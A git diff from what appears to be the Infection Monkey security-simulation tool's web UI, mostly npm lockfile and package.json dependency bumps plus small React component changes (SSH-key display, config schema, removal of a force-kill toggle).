"sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", - "dev": true - }, - "enhanced-resolve": { - "version": "5.8.3", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.8.3.tgz", - "integrity": "sha512-EGAbGvH7j7Xt2nc0E7D99La1OiEs8LnyimkRgwExpUMScN6O+3x9tIWs7PLQZVNx4YD+00skHXPXi1yQHpAmZA==", - "dev": true, - "requires": { - "graceful-fs": "^4.2.4", - "tapable": "^2.2.0" - } - }, - "eslint-scope": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", - "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", - "dev": true, - "requires": { - "esrecurse": "^4.3.0", - "estraverse": "^4.1.1" - } - }, - "esrecurse": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", - "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", - "dev": true, - "requires": { - "estraverse": "^5.2.0" - }, - "dependencies": { - "estraverse": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.2.0.tgz", - "integrity": "sha512-BxbNGGNm0RyRYvUdHpIwv9IWzeM9XClbOxwoATuFdOE7ZE6wHL+HQ5T8hoPM+zHvmKzzsEqhgy0GrQ5X13afiQ==", - "dev": true - } - } - }, - "neo-async": { - "version": "2.6.2", - "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", - "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", - "dev": true + "acorn-import-assertions": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.8.0.tgz", + "integrity": "sha512-m7VZ3jwz4eK6A4Vtt8Ew1/mNbP24u0FhdyfA7fSvnJR6LMdfOYnmuIrrJAgrYfYJ10F/otaHTtrtrtmHdMNzEw==", + "requires": {} }, "schema-utils": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", - "dev": true, "requires": { "@types/json-schema": "^7.0.8", "ajv": "^6.12.5", "ajv-keywords": "^3.5.2" } - }, - "tapable": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz", - "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==", - "dev": true } } }, "webpack-cli": { - "version": "4.9.0", - "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-4.9.0.tgz", - "integrity": "sha512-n/jZZBMzVEl4PYIBs+auy2WI0WTQ74EnJDiyD98O2JZY6IVIHJNitkYp/uTXOviIOMfgzrNvC9foKv/8o8KSZw==", + "version": "4.9.2", + "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-4.9.2.tgz", + "integrity": "sha512-m3/AACnBBzK/kMTcxWHcZFPrw/eQuY4Df1TxvIWfWM2x7mRqBQCqKEd96oCUa9jkapLBaFfRce33eGDb4Pr7YQ==", "dev": true, "requires": { "@discoveryjs/json-ext": "^0.5.0", - "@webpack-cli/configtest": "^1.1.0", - "@webpack-cli/info": "^1.4.0", - "@webpack-cli/serve": "^1.6.0", + "@webpack-cli/configtest": "^1.1.1", + "@webpack-cli/info": "^1.4.1", + "@webpack-cli/serve": "^1.6.1", "colorette": "^2.0.14", "commander": "^7.0.0", "execa": "^5.0.0", @@ -13426,7 +28559,6 @@ "import-local": "^3.0.2", "interpret": "^2.2.0", "rechoir": "^0.7.0", - "v8-compile-cache": "^2.2.0", "webpack-merge": "^5.7.3" }, "dependencies": { @@ -13435,97 +28567,121 @@ "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", "dev": true - }, - "v8-compile-cache": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz", - "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==", - "dev": true } } }, "webpack-dev-middleware": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-5.2.1.tgz", - "integrity": "sha512-Kx1X+36Rn9JaZcQMrJ7qN3PMAuKmEDD9ZISjUj3Cgq4A6PtwYsC4mpaKotSRYH3iOF6HsUa8viHKS59FlyVifQ==", + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-5.3.1.tgz", + "integrity": "sha512-81EujCKkyles2wphtdrnPg/QqegC/AtqNH//mQkBYSMqwFVCQrxM6ktB2O/SPlZy7LqeEfTbV3cZARGQz6umhg==", "dev": true, "requires": { "colorette": "^2.0.10", - "memfs": "^3.2.2", + "memfs": "^3.4.1", "mime-types": "^2.1.31", "range-parser": "^1.2.1", - "schema-utils": "^3.1.0" + "schema-utils": "^4.0.0" }, "dependencies": { - "@types/json-schema": { - "version": "7.0.9", - "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz", - "integrity": "sha512-qcUXuemtEu+E5wZSJHNxUXeCZhAfXKQ41D+duX+VYPde7xyEVZci+/oXKJL13tnRs9lR2pr4fod59GT6/X1/yQ==", - "dev": true + "ajv": { + "version": "8.11.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", + "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } }, "ajv-keywords": { - "version": "3.5.2", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", - "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.3" + } + }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", "dev": true }, "schema-utils": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", - "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", + "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==", "dev": true, "requires": { - "@types/json-schema": "^7.0.8", - "ajv": "^6.12.5", - "ajv-keywords": "^3.5.2" + "@types/json-schema": "^7.0.9", + "ajv": "^8.8.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.0.0" } } } }, "webpack-dev-server": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.3.1.tgz", - "integrity": "sha512-qNXQCVYo1kYhH9pgLtm8LRNkXX3XzTfHSj/zqzaqYzGPca+Qjr+81wj1jgPMCHhIhso9WEQ+kX9z23iG9PzQ7w==", + "version": "4.7.4", + "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.7.4.tgz", + "integrity": "sha512-nfdsb02Zi2qzkNmgtZjkrMOcXnYZ6FLKcQwpxT7MvmHKc+oTtDsBju8j+NMyAygZ9GW1jMEUpy3itHtqgEhe1A==", "dev": true, "requires": { + "@types/bonjour": "^3.5.9", + "@types/connect-history-api-fallback": "^1.3.5", + "@types/express": "^4.17.13", + "@types/serve-index": "^1.9.1", + "@types/sockjs": "^0.3.33", + "@types/ws": "^8.2.2", "ansi-html-community": "^0.0.8", "bonjour": "^3.5.0", - "chokidar": "^3.5.1", + "chokidar": "^3.5.3", "colorette": "^2.0.10", "compression": "^1.7.4", "connect-history-api-fallback": "^1.6.0", + "default-gateway": "^6.0.3", "del": "^6.0.0", "express": "^4.17.1", "graceful-fs": "^4.2.6", "html-entities": "^2.3.2", "http-proxy-middleware": "^2.0.0", - "internal-ip": "^6.2.0", "ipaddr.js": "^2.0.1", "open": "^8.0.9", "p-retry": "^4.5.0", "portfinder": "^1.0.28", - "schema-utils": "^3.1.0", - "selfsigned": "^1.10.11", + "schema-utils": "^4.0.0", + "selfsigned": "^2.0.0", "serve-index": "^1.9.1", "sockjs": "^0.3.21", "spdy": "^4.0.2", "strip-ansi": "^7.0.0", - "url": "^0.11.0", - "webpack-dev-middleware": "^5.2.1", - "ws": "^8.1.0" + "webpack-dev-middleware": "^5.3.1", + "ws": "^8.4.2" }, "dependencies": { - "@types/json-schema": { - "version": "7.0.9", - "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz", - "integrity": "sha512-qcUXuemtEu+E5wZSJHNxUXeCZhAfXKQ41D+duX+VYPde7xyEVZci+/oXKJL13tnRs9lR2pr4fod59GT6/X1/yQ==", - "dev": true + "ajv": { + "version": "8.11.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", + "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } }, "ajv-keywords": { - "version": "3.5.2", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", - "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", - "dev": true + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.3" + } }, "ansi-regex": { "version": "6.0.1", @@ -13533,21 +28689,22 @@ "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==", "dev": true }, - "graceful-fs": { - "version": "4.2.8", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.8.tgz", - "integrity": "sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg==", + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", "dev": true }, "schema-utils": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", - "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", + "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==", "dev": true, "requires": { - "@types/json-schema": "^7.0.8", - "ajv": "^6.12.5", - "ajv-keywords": "^3.5.2" + "@types/json-schema": "^7.0.9", + "ajv": "^8.8.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.0.0" } }, "strip-ansi": { @@ -13572,10 +28729,9 @@ } }, "webpack-sources": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.1.tgz", - "integrity": "sha512-t6BMVLQ0AkjBOoRTZgqrWm7xbXMBzD+XDq2EZ96+vMfn3qKgsvdXZhbPZ4ElUOpdv4u+iiGe+w3+J75iy/bYGA==", - "dev": true + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.3.tgz", + "integrity": "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==" }, "websocket-driver": { "version": "0.7.4", @@ -13595,14 +28751,9 @@ "dev": true }, "whatwg-fetch": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.0.0.tgz", - "integrity": "sha512-9GSJUgz1D4MfyKU7KRqwOjXCXTqWdFNvEr7eUBYchQiVc744mqK/MzXPNR2WsPkmkOa4ywfg8C2n8h+13Bey1Q==" - }, - "whatwg-mimetype": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz", - "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==" + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.6.2.tgz", + "integrity": "sha512-bJlen0FcuU/0EMLrdbJ7zOnW6ITZLrZMIarMUVmdKtsGvZna8vxKYaexICWPfZ8qwf9fzNq+UEIZrnSaApt6RA==" }, "which": { "version": "1.3.1", @@ -13638,6 +28789,52 @@ "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==", "dev": true }, + "wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "requires": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "requires": { + "ansi-regex": "^5.0.1" + } + } + } + }, "wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", @@ -13651,6 +28848,17 @@ "dev": true, "requires": { "mkdirp": "^0.5.1" + }, + "dependencies": { + "mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "dev": true, + "requires": { + "minimist": "^1.2.6" + } + } } }, "write-file-atomic": { @@ -13666,10 +28874,11 @@ } }, "ws": { - "version": "8.2.3", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.2.3.tgz", - "integrity": "sha512-wBuoj1BDpC6ZQ1B7DWQBYVLphPWkm8i9Y0/3YdHjHKHiohOJ1ws+3OccDWtH+PoC9DZD5WOTrJvNbWvjS6JWaA==", - "dev": true + "version": "8.5.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.5.0.tgz", + "integrity": "sha512-BWX0SWVgLPzYwF8lTzEy1egjhS4S4OEAHfsO8o65WOVsrnSRGaSiUaa9e0ggGlkMTtBlmOpEXiie9RUcBO86qg==", + "dev": true, + "requires": {} }, "xtend": { "version": "4.0.2", @@ -13677,6 +28886,12 @@ "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", "dev": true }, + "y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true + }, "yallist": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", @@ -13688,18 +28903,27 @@ "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==" }, + "yargs": { + "version": "16.2.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", + "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "dev": true, + "requires": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.0", + "y18n": "^5.0.5", + "yargs-parser": "^20.2.2" + } + }, "yargs-parser": { "version": "20.2.9", "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz", "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==", "dev": true }, - "yocto-queue": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", - "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", - "dev": true - }, "zwitch": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-1.0.5.tgz", diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index c3840d202..52896f435 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -15,13 +15,11 @@ "release:patch": "npm version patch && npm publish && git push --follow-tags", "serve": "node server.js --env=dev", "serve:dist": "node server.js --env=dist", - "start": "webpack-dev-server --mode development --open --history-api-fallback --port 8000 --host local-ip", - "snyk-protect": "snyk protect", - "prepare": "npm run snyk-protect" + "start": "webpack-dev-server --mode development --open --history-api-fallback --port 8000 --host local-ip" }, "repository": "", "keywords": [], - "author": "Guardicore", + "author": "Akamai", "browserslist": [ "> 0.25%", "not dead" @@ -39,31 +37,30 @@ "@types/react": "^16.14.16", "@types/react-dom": "^16.9.14", "babel-eslint": "^10.1.0", - "babel-loader": "^8.2.1", + "babel-loader": "^8.2.4", "copyfiles": "^2.4.0", - "css-loader": "^3.6.0", + "css-loader": "^6.7.1", "eslint": "^6.8.0", "eslint-loader": "^4.0.1", "eslint-plugin-react": "^7.26.1", - "file-loader": "^1.1.11", + "fork-ts-checker-webpack-plugin": "^7.2.4", "glob": "^7.2.0", "html-loader": "^0.5.5", - "html-webpack-plugin": "^5.3.2", - "minimist": "^1.2.5", + "html-webpack-plugin": "^5.5.0", + "minimist": "^1.2.6", "npm": "^7.24.2", "null-loader": "^0.1.1", - "react-addons-test-utils": "^15.6.2", "rimraf": "^2.7.1", "sass": "^1.42.1", - "sass-loader": "^7.3.1", - "snyk": "^1.733.0", - "style-loader": "^0.22.1", + "sass-loader": "^12.6.0", + "speed-measure-webpack-plugin": "^1.5.0", + "style-loader": "^3.3.1", "stylelint": "^13.13.1", - "ts-loader": "^8.3.0", + "thread-loader": "^3.0.4", + "ts-loader": "^9.2.8", "typescript": "^4.4.3", - "url-loader": "^1.1.2", - "webpack": "^5.58.0", - "webpack-cli": "^4.9.0", + "webpack": "^5.72.0", + "webpack-cli": "^4.9.2", "webpack-dev-server": "^4.3.1" }, "dependencies": { @@ -106,16 +103,15 @@ "react-hot-loader": "^4.13.0", "react-json-tree": "^0.12.1", "react-jsonschema-form-bs4": "^1.7.1", - "react-particles-js": "^3.5.3", "react-redux": "^5.1.2", "react-router-dom": "^5.3.0", "react-spinners": "^0.9.0", "react-table": "^6.10.3", - "react-toggle": "^4.1.2", "react-tooltip-lite": "^1.12.0", + "react-tsparticles": "^1.42.4", "redux": "^4.1.1", "sha3": "^2.1.4", - "source-map-loader": "^1.1.2", + "source-map-loader": "^3.0.1", "tsparticles": "^1.35.4" }, "snyk": true diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index c633e8225..d9dda8e4f 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -20,7 +20,6 @@ import GettingStartedPage from './pages/GettingStartedPage'; import 'normalize.css/normalize.css'; import 'styles/App.css'; -import 'react-toggle/style.css'; import 'react-table/react-table.css'; import LoadingScreen from './ui-components/LoadingScreen'; import SidebarLayoutComponent from "./layouts/SidebarLayoutComponent"; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js deleted file mode 100644 index 790cb8271..000000000 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js +++ /dev/null @@ -1,50 +0,0 @@ -import React from 'react'; -import ReactTable from 'react-table'; -import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from './Helpers' -import MitigationsComponent from './MitigationsComponent'; - - -class T1082 extends React.Component { - - constructor(props) { - super(props); - } - - static getSystemInfoColumns() { - return ([{ - columns: [ - { - Header: 'Machine', - id: 'machine', - accessor: x => renderMachineFromSystemData(x.machine), - style: {'whiteSpace': 'unset'} - }, - { - Header: 'Gathered info', - id: 'info', - accessor: x => renderUsageFields(x.collections), - style: {'whiteSpace': 'unset'} - } - ] - }]) - } - - render() { - return ( -
-
{this.props.data.message_html}
-
- {this.props.data.status === ScanStatus.USED ? - : ''} - -
- ); - } -} - -export default T1082; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js index 1bdd2a857..b8ba925e8 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js @@ -10,13 +10,13 @@ class T1145 extends React.Component { super(props); } - static renderSSHKeys(keys) { - let output = []; - keys.forEach(function (keyInfo) { - output.push(
- SSH key pair used by {keyInfo['name']} user found in {keyInfo['home_dir']}
) - }); - return (
{output}
); + static renderSSHKey(key) { + return ( +
+
+ SSH key pair used by {key['name']} user found in {key['home_dir']} +
+
); } static getKeysInfoColumns() { @@ -31,7 +31,7 @@ class T1145 extends React.Component { { Header: 'Keys found', id: 'keys', - accessor: x => T1145.renderSSHKeys(x.ssh_info), + accessor: x => T1145.renderSSHKey(x.ssh_info), style: {'whiteSpace': 'unset'} } ] diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/InternalConfig.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/InternalConfig.js index 70f1e86fa..42a86dbff 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/InternalConfig.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/InternalConfig.js @@ -4,9 +4,7 @@ import {Nav} from 'react-bootstrap'; const sectionOrder = [ 'network', - 'monkey', 'island_server', - 'logging', 'exploits', 'dropper', 'classes', diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index 36053ef22..c76d17fc2 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -94,8 +94,8 @@ export default function UiSchema(props) { 'ui:emptyValue': '' } }, - system_info: { - system_info_collector_classes: { + credential_collectors: { + credential_collector_classes: { classNames: 'config-template-no-header', 'ui:widget': AdvancedMultiSelect } @@ -117,23 +117,12 @@ export default function UiSchema(props) { other_behaviors : {'ui:widget': 'hidden'} }, internal: { - general: { - started_on_island: {'ui:widget': 'hidden'} - }, classes: { finger_classes: { classNames: 'config-template-no-header', 'ui:widget': AdvancedMultiSelect } }, - monkey: { - alive: { - classNames: 'config-field-hidden' - }, - aws_keys: { - classNames: 'config-field-hidden' - } - }, exploits: { exploit_lm_hash_list:{ items: { diff --git a/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx b/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx index d862bb592..c8bac4396 100644 --- a/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx +++ b/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx @@ -1,6 +1,6 @@ import React from 'react'; import {Route} from 'react-router-dom'; -import SideNavComponent from '../SideNavComponent.tsx'; +import SideNavComponent from '../SideNavComponent'; import {Col, Row} from 'react-bootstrap'; const SidebarLayoutComponent = ({component: Component, diff --git a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js index 8f3bfe72e..82b57a103 100644 --- a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js +++ b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js @@ -2,7 +2,6 @@ import React from 'react'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome' import {faHandPointLeft} from '@fortawesome/free-solid-svg-icons/faHandPointLeft' import {faQuestionCircle} from '@fortawesome/free-solid-svg-icons/faQuestionCircle' -import Toggle from 'react-toggle'; import {OverlayTrigger, Tooltip} from 'react-bootstrap'; import AuthComponent from '../../AuthComponent'; import { @@ -70,33 +69,6 @@ class PreviewPaneComponent extends AuthComponent { ); } - forceKill(event, asset) { - let newConfig = asset.config; - newConfig['alive'] = !event.target.checked; - this.authFetch('/api/monkey/' + asset.guid, - { - method: 'PATCH', - headers: {'Content-Type': 'application/json'}, - body: JSON.stringify({config: newConfig}) - }); - } - - forceKillRow(asset) 